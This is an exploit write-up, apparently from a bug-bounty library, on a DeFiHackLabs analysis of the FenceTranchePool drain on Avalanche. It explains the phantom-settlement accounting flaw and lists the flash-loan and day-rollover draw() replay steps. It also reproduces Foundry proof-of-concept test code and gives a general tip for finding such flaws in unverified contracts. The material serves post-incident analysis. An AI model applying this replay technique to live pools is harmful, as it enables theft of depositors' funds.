# FenceTranchePool: phantom settlement restores draw capacity, drains $1M

FenceTranchePool on Avalanche credited scheduled principal at UTC rollover without repayment, restoring spent draw capacity; attacker replayed draw() to drain ~$1.013M USDC.

- Payout: Real-world hack
- Severity: critical
- Program: FenceTranchePool
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-27
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/FenceTranchePool_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261027-fencetranchepool
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:recon technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan

**Target:** Tranche pool / facility draw() on Avalanche
**Root cause:** Daily UTC settlement subtracts the scheduled principal payment from outstanding principal without any USDC being repaid, and draw() checks requested amount against funded principal minus outstanding, so the phantom reduction restores already-spent draw capacity.
**Steps:**
1. Fork Avalanche one block before first draw (block 98731442, day index 20753).
2. Deploy fresh borrower contract from new EOA; no role or whitelist needed.
3. Flash-loan setup principal from Aave V3 (`flashLoanSimple`).
4. Open/configure/fund facility naming the borrower contract as borrower and recipient.
5. Call `draw()` for `DRAW_AMOUNT` (1_013_353_611_686) so flash loan is repaid in same call; net zero, outstanding == funded.
6. `vm.warp` across UTC midnight to day index 20754 (ts 20754*86400+3) so phantom settlement credits scheduled principal.
7. Replay identical `draw()` calldata; pool pays out its own standing liquidity, draining to zero.
**How found:** Two on-chain traces showed identical draw() calldata succeeding ~3 minutes apart across UTC midnight; pool unverified on Snowtrace, so behavior inferred from traces. Negative control confirmed second draw reverts without rollover.
**Exploitation:** Attacker pre-funded helper with only the Aave premium (~506.68 USDC). Cycle 1: flash-loan principal, open facility, draw it back out, repay loan — net zero, leaves outstanding == funded. After UTC rollover, phantom settlement drops outstanding toward zero, restoring draw capacity. Cycle 2 replays the same draw() with no new capital and pulls the pool's 1,013,353.611686 USDC standing liquidity.
**Escalation:** Permissionless borrower path plus identical-calldata replay across the day boundary turns a net-zero setup into a full pool drain with only flash-loan premium as capital.
**Insight:** When a lending/pool contract is unverified, diff two on-chain traces of the same selector across a time boundary — a settlement that mutates accounting without a matching token transfer is a phantom-credit primitive; replay the exact calldata after the boundary to test restored capacity.

## Proof of concept (copied exactly from the original report)

**Foundry test draining pool via day-rollover replay**

```
function testExploit() public {
        assertEq(USDC.balanceOf(POOL), DRAW_AMOUNT, "pool should hold its full standing liquidity pre-attack");

        (address attacker, Borrower borrower) = _deployAndFlashCycle1();

        assertEq(USDC.balanceOf(POOL), DRAW_AMOUNT, "pool liquidity unchanged after cycle 1");
        assertEq(USDC.balanceOf(address(borrower)), 0, "flash loan repaid in full, premium spent");

        // Cross the UTC day boundary so the phantom settlement credits the scheduled principal.
        vm.warp(DAY_ROLLOVER_TS);

        // Cycle 2: the identical draw() call, no new flash loan. Drains the pool.
        vm.prank(attacker);
        borrower.drawAgain();

        uint256 stolen = USDC.balanceOf(address(borrower));
        console.log("USDC drained from pool :", stolen);
        console.log("Pool USDC balance after :", USDC.balanceOf(POOL));

        assertEq(stolen, DRAW_AMOUNT, "second draw was paid with the pool's own liquidity");
        assertEq(USDC.balanceOf(POOL), 0, "pool fully drained");
    }
```

**Negative control: second draw reverts without rollover**

```
function testSecondDrawRevertsWithoutRollover() public {
        (address attacker, Borrower borrower) = _deployAndFlashCycle1();

        vm.prank(attacker);
        vm.expectRevert();
        borrower.drawAgain();

        assertEq(USDC.balanceOf(POOL), DRAW_AMOUNT, "pool untouched when the day has not rolled over");
    }
```

**Flash-loan setup and fresh borrower deployment**

```
function _deployAndFlashCycle1() internal returns (address attacker, Borrower borrower) {
        attacker = makeAddr("attacker");
        vm.prank(attacker);
        borrower = new Borrower();

        uint256 premium = (DRAW_AMOUNT * AAVE.FLASHLOAN_PREMIUM_TOTAL() + 5000) / 10_000;
        vm.prank(USDC_SOURCE);
        USDC.transfer(address(borrower), premium);

        vm.prank(attacker);
        borrower.flashDrawCycle1();
    }
```

